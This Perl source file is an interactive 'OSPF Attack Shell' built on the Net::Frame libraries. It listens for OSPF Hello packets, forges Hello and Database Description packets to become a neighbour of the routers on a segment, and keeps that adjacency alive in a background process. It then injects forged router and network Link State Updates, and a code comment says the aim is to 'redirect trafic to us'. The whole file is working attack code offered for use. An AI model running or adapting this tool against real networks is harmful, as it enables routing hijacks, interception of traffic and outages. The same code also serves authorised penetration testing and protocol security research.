#!/usr/bin/perl # # $Id: ospf-ash.pl,v 1.8 2007/03/05 14:48:11 gomor Exp $ # package Net::Attack::OSPF; use strict; use warnings; our $VERSION = '1.00'; use Net::Frame::Device; use Net::Frame::Dump::Online; use Net::Frame::Simple; use Net::Write::Layer2; use Net::Frame::Layer qw(:subs); use Net::Frame::Layer::ETH qw(:consts); use Net::Frame::Layer::ARP qw(:consts); use Net::Frame::Layer::IPv4 qw(:consts); use Net::Frame::Layer::OSPF qw(:consts); use Net::Frame::Layer::OSPF::Hello; use Net::Frame::Layer::OSPF::DatabaseDesc; use Net::Frame::Layer::OSPF::Lsa; use Data::Dumper; use Term::ReadLine; use Time::HiRes qw(gettimeofday); our $oDevice; our $oWrite; # To store OSPF parameters (areaId, ...) our $Env = { routerPri => 1, lsAge => 200, areaId => undef, networkMask => undef, dr => undef, bdr => undef, neighborList => [], _neighbors => [], state => 'start', }; # Will store ARP cache table our $Mac = {}; sub init { my ($dev, $src, $mac) = @_; if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) } else { $oDevice = Net::Frame::Device->new } $oDevice->ip($src) if $src; $oDevice->mac($mac) if $mac; print "\n -- OSPF Attack Shell - 0.14 --\n\n"; print "Using device : ".$oDevice->dev."\n"; print "Using source IP : ".$oDevice->ip. "\n"; print "Using source MAC: ".$oDevice->mac."\n"; $oWrite = Net::Write::Layer2->new(dev => $oDevice->dev); $oWrite->open; #$oDump = Net::Frame::Dump::Online->new( #dev => $oDevice->dev, #overwrite => 1, #promisc => 1, #); } sub help { print "You can use the following functions:\n". " listen() wait for an OSPF Hello frame, get various variables\n". " exchange() become an OSPF neighbor with all available routers\n". " lock() keep regularly sending Hello frames\n". " lsu_router(NETWORK,MASK) inject a LSA Router\n". ""; } sub _dumpCallListen { my ($h, $data) = @_; my $f = Net::Frame::Simple->newFromDump($h); if ($f->ref->{'OSPF'}) { my $packet = $f->ref->{'OSPF'}->packet; if ($packet->layer eq 'OSPF::Hello') { my $dr = $packet->designatedRouter if $packet->designatedRouter; my $bdr = $packet->backupDesignatedRouter if $packet->backupDesignatedRouter; my @nl; for ($packet->neighborList) { push @nl, $_ unless /^0.0.0.0$/; } # If there is only a DR, we add it to neighborList if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl, $dr; } print "Hello from: ".$f->ref->{'IPv4'}->src."\n"; print "Found: DR : $dr\n" if $dr; print "Found: BDR: $bdr\n" if $bdr; print "Found: neighborList: @nl\n" if @nl; $Env->{dr} = $dr if $dr; $Env->{bdr} = $bdr if $bdr; $Env->{neighborList} = \@nl if @nl; $Env->{helloInterval} = $packet->helloInterval if $packet->helloInterval; $Env->{routerDeadInterval} = $packet->routerDeadInterval if $packet->routerDeadInterval; $Env->{networkMask} = $packet->networkMask if $packet->networkMask; $Env->{areaId} = $f->ref->{'OSPF'}->areaId if $f->ref->{'OSPF'}->areaId; $data->stop; } } } sub _updateNeighbors { my %neighbor; $neighbor{$Env->{dr}} = '' if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/); $neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/); for (@{$Env->{neighborList}}) { #next if /^0.0.0.0$/; #next if /^@{[$oDevice->ip]}$/; $neighbor{$_} = ''; } for (keys %neighbor) { delete $neighbor{$_} if (/^0.0.0.0$/ || /^@{[$oDevice->ip]}$/); } $Env->{_neighbors} = [ keys %neighbor ]; } sub listen { # Flush $Env vars $Env->{dr} = undef; $Env->{bdr} = undef; $Env->{neighborList} = []; my $oDump = Net::Frame::Dump::Online->new( dev => $oDevice->dev, overwrite => 1, promisc => 1, ); $oDump->filter('dst host 224.0.0.5'); $oDump->onRecv(\&_dumpCallListen); $oDump->onRecvData($oDump); $oDump->start; if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) { $Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr}); } if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) { $Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr}); } _updateNeighbors(); } sub _ospfSend1 { my ($f) = @_; $f->send($oWrite); } sub _ospfSend { my ($f, $oDump, $recvFrom) = @_; my $recv; for (1..2) { # Two retries $f->send($oWrite); until ($oDump->timeout) { if ($recv = $f->recv($oDump)) { my $dst = $f->ref->{'IPv4'}->dst; my $src = $recv->ref->{'IPv4'}->src; if ($recvFrom && ($src eq $recvFrom)) { last; } elsif ($dst eq '224.0.0.5' || $dst eq $src) { #if ($dst eq '224.0.0.5' || $dst eq $src) { last; } $recv = undef; } } $oDump->timeoutReset; last if $recv; } $recv; } sub _getEthHdr { my ($dst) = @_; my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst; Net::Frame::Layer::ETH->new( src => $oDevice->mac, dst => $mac || NF_ETH_ADDR_BROADCAST, ); } sub _getIpHdr { my ($src, $dst) = @_; Net::Frame::Layer::IPv4->new( noFixLen => 1, ttl => 1, src => $src, dst => $dst || '224.0.0.5', protocol => NF_IPv4_PROTOCOL_OSPF, ); } sub _getOspfHello { my $eth = _getEthHdr(); my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new( type => NF_OSPF_TYPE_HELLO, routerId => $oDevice->ip, areaId => $Env->{areaId}, ); my $ospfHello = Net::Frame::Layer::OSPF::Hello->new( networkMask => $Env->{networkMask}, helloInterval => $Env->{helloInterval}, options => NF_OSPF_HELLO_OPTIONS_E, routerPri => $Env->{routerPri}, routerDeadInterval => $Env->{routerDeadInterval}, designatedRouter => $Env->{dr}, backupDesignatedRouter => $Env->{bdr} || '0.0.0.0', neighborList => $Env->{neighborList}, ); $ospf->packet($ospfHello); $ospf->computeLengths; $ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]); } sub _getOspfDbd { my ($router, $flags, $seqnum, $lsa) = @_; my $eth = _getEthHdr($router); my $ip = _getIpHdr($oDevice->ip, $router); my $ospf = Net::Frame::Layer::OSPF->new( type => NF_OSPF_TYPE_DATABASEDESC, routerId => $oDevice->ip, areaId => $Env->{areaId}, ); my $ospfDbd = Net::Frame::Layer::OSPF::DatabaseDesc->new( ddSequenceNumber => $seqnum || 4300, options => NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E, flags => $flags || (NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS), ); $ospf->packet($ospfDbd); $ospf->computeLengths; $ospf->computeChecksums; $ip->length($ip->length + $ospf->length); $ospf->packet->lsaList([ $lsa ]) if $lsa; Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]); } sub _getLsaRouterHeader { Net::Frame::Layer::OSPF::Lsa->new( lsAge => 92, options => 0x02, lsType => 0x01, linkStateId => $oDevice->ip, advertisingRouter => $oDevice->ip, lsSequenceNumber => 1, ); } sub exchange { my ($router) = @_; my $oDump = Net::Frame::Dump::Online->new( dev => $oDevice->dev, overwrite => 1, promisc => 1, timeoutOnNext => 2, ); $oDump->filter('not arp and not tcp and not udp and not icmp'); $oDump->start; my $ospfHelloReply = _ospfSend(_getOspfHello(), $oDump, $router); die("No router listens") unless $ospfHelloReply; # We are in ExStart state for (@{$Env->{_neighbors}}) { next if /^0.0.0.0$/; # Then, DR sends DBD, we reply the same DBD my $ospfDbd = _getOspfDbd($_); my $ospfDbdReply = _ospfSend($ospfDbd, $oDump); if (! $ospfDbdReply) { warn("$_: No DBD reply"); next; } # We are in Exchange state # Now is Exchange state, we reply with received ddSeqNum + 1, flags M|MS, # and our Router-LSA header my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1; my $flags = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS; my $lsaRouter = _getLsaRouterHeader(); my $ospfDbd2 = _getOspfDbd($_, $flags, $seqnum, $lsaRouter); my $ospfDbd2Reply = _ospfSend($ospfDbd2, $oDump); if (! $ospfDbd2Reply) { warn("$_: No DBD2 reply"); next; } # Last step before LS exchange, we reply to the "empty" request with # ddSeqNum +1, flags MS only $seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1; $flags = NF_OSPF_DATABASEDESC_FLAGS_MS; my $ospfDbd3 = _getOspfDbd($_, $flags, $seqnum); my $ospfDbd3Reply = _ospfSend($ospfDbd3, $oDump); if (! $ospfDbd3Reply) { warn("$_: No DBD3 reply"); next; } print "$_: exchange complete\n"; } # If there were no BDR, we are the new one if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) { $Env->{bdr} = $oDevice->ip; } _updateNeighbors(); $Env->{neighborList} = [ @{$Env->{_neighbors}} ]; push @{$Env->{neighborList}}, $oDevice->ip; $oDump->stop; } sub _getLsuNetwork { my ($linkStateId, $router, $netmask) = @_; my $eth = _getEthHdr(); my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new( type => NF_OSPF_TYPE_LINKSTATEUPDATE, routerId => $oDevice->ip, areaId => $Env->{areaId}, ); my $lsa = Net::Frame::Layer::OSPF::Lsa->new( lsAge => $Env->{lsAge}, options => 0x02, lsType => 0x02, linkStateId => $linkStateId || $oDevice->ip, advertisingRouter => $oDevice->ip, lsSequenceNumber => getRandom32bitsInt(), ); my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new( netmask => $netmask, routerList => [ $router, ], ); $lsa->lsa($lsaNetwork); $lsa->computeLengths; $lsa->computeChecksums; my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new( lsaNumber => 1, lsaList => [ $lsa ], ); $ospf->packet($ospfLsu); $ospf->computeLengths; $ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]); } sub _getLsuRouter { my ($network, $mask) = @_; my $eth = _getEthHdr(); my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new( type => NF_OSPF_TYPE_LINKSTATEUPDATE, routerId => $oDevice->ip, areaId => $Env->{areaId}, ); my $lsa = Net::Frame::Layer::OSPF::Lsa->new( lsAge => $Env->{lsAge}, options => 0x22, lsType => 0x01, linkStateId => $oDevice->ip, advertisingRouter => $oDevice->ip, lsSequenceNumber => getRandom32bitsInt(), ); my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new( flags => 0, ); # To correctly send a router, we must first advertise the network/mask # In a stub network (type 0x03) my @linkList = (); push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new( linkId => $network, linkData => $mask, type => 0x03, nTos => 0, metric => 10, ); # Then, we MUST say which is the gateway, to the DR # Here, we say the gateway is our IP address to redirect # trafic to us. push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new( linkId => $Env->{dr}, linkData => $oDevice->ip, type => 0x02, nTos => 0, metric => 10, ); $lsaRouter->nLink(scalar @linkList); $lsaRouter->linkList(\@linkList); $lsa->lsa($lsaRouter); $lsa->computeLengths; $lsa->computeChecksums; my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new( lsaNumber => 1, lsaList => [ $lsa ], ); $ospf->packet($ospfLsu); $ospf->computeLengths; $ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]); } sub lsu_network { my ($linkStateId, $router, $netmask) = @_; my $lsu = _getLsuNetwork($linkStateId, $router, $netmask); _ospfSend1($lsu); } sub lsu_router { my ($network, $mask) = @_; my $lsu = _getLsuRouter($network, $mask); _ospfSend1($lsu); } sub _getLsaRequest { my ($router) = @_; my $eth = _getEthHdr($Env->{dr}); my $ip = _getIpHdr($oDevice->ip, $Env->{dr}); my $ospf = Net::Frame::Layer::OSPF->new( type => NF_OSPF_TYPE_LINKSTATEREQUEST, routerId => $oDevice->ip, areaId => $Env->{areaId}, ); my $ospfLsr = Net::Frame::Layer::OSPF::LinkStateRequest->new( lsType => NF_OSPF_LSTYPE_ROUTER, linkStateId => $router, advertisingRouter => $router, ); $ospf->packet($ospfLsr); $ospf->computeLengths; $ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]); } sub _getLsaAck { my ($request) = @_; my $eth = _getEthHdr(); my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new( type => NF_OSPF_TYPE_LINKSTATEACK, routerId => $oDevice->ip, areaId => $Env->{areaId}, ); my $raw = ''; for ($request->lsaList) { $_->lsa(undef); $raw .= $_->pack; } $ospf->packet($raw); $ospf->computeLengths; $ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]); } sub _dumpCallOnRecv { my ($h, $data) = @_; my $frame = Net::Frame::Simple->newFromDump($h); if ($frame->ref->{'OSPF'}) { kill('ALRM', $$); my $packet = $frame->ref->{'OSPF'}->packet; if ($packet && $packet->layer eq 'OSPF::LinkStateUpdate') { my $lsAck = _getLsaAck($packet); _ospfSend1($lsAck); } } } sub _sendHelloOnAlarm { my $hello = _getOspfHello(); _ospfSend1($hello); } sub lock { $SIG{ALRM} = \&_sendHelloOnAlarm; my $pid = fork(); die("fork: $!") unless defined($pid); if ($pid) { # Parent process return 1; } else { # Child process close(STDIN); close(STDOUT); close(STDERR); my $oDumpChild = Net::Frame::Dump::Online->new( overwrite => 1, promisc => 1, dev => $oDevice->dev, filter => 'not tcp and not arp and not udp and not icmp', onRecv => \&_dumpCallOnRecv, ); $oDumpChild->start; $oDumpChild->stop; exit(0); } } sub ash { my ($dev, $src, $mac) = @_; init($dev, $src, $mac); my $prompt = 'ash> '; my $name = 'ASH'; my $term = Term::ReadLine->new($name); $term->ornaments(0); { no strict; while (1) { if (my $line = $term->readline($prompt)) { $line =~ s/^\s*listen\s*$/Net::Attack::OSPF::listen/; eval($line); warn($@) if $@; print "\n"; } } } print "\n"; } #END { #if ($oDump && $oDump->isRunning) { #$oDump->stop; #} #} 1; package main; my $dev = shift; my $src = shift; my $mac = shift; Net::Attack::OSPF::ash($dev, $src, $mac); 1; __END__ =head1 NAME nf-shell - Net::Frame Shell tool =head1 AUTHOR Patrice EGomoRE Auffret =head1 COPYRIGHT AND LICENSE Copyright (c) 2006, Patrice EGomoRE Auffret You may distribute this module under the terms of the Artistic license. See LICENSE.Artistic file in the source distribution archive. =cut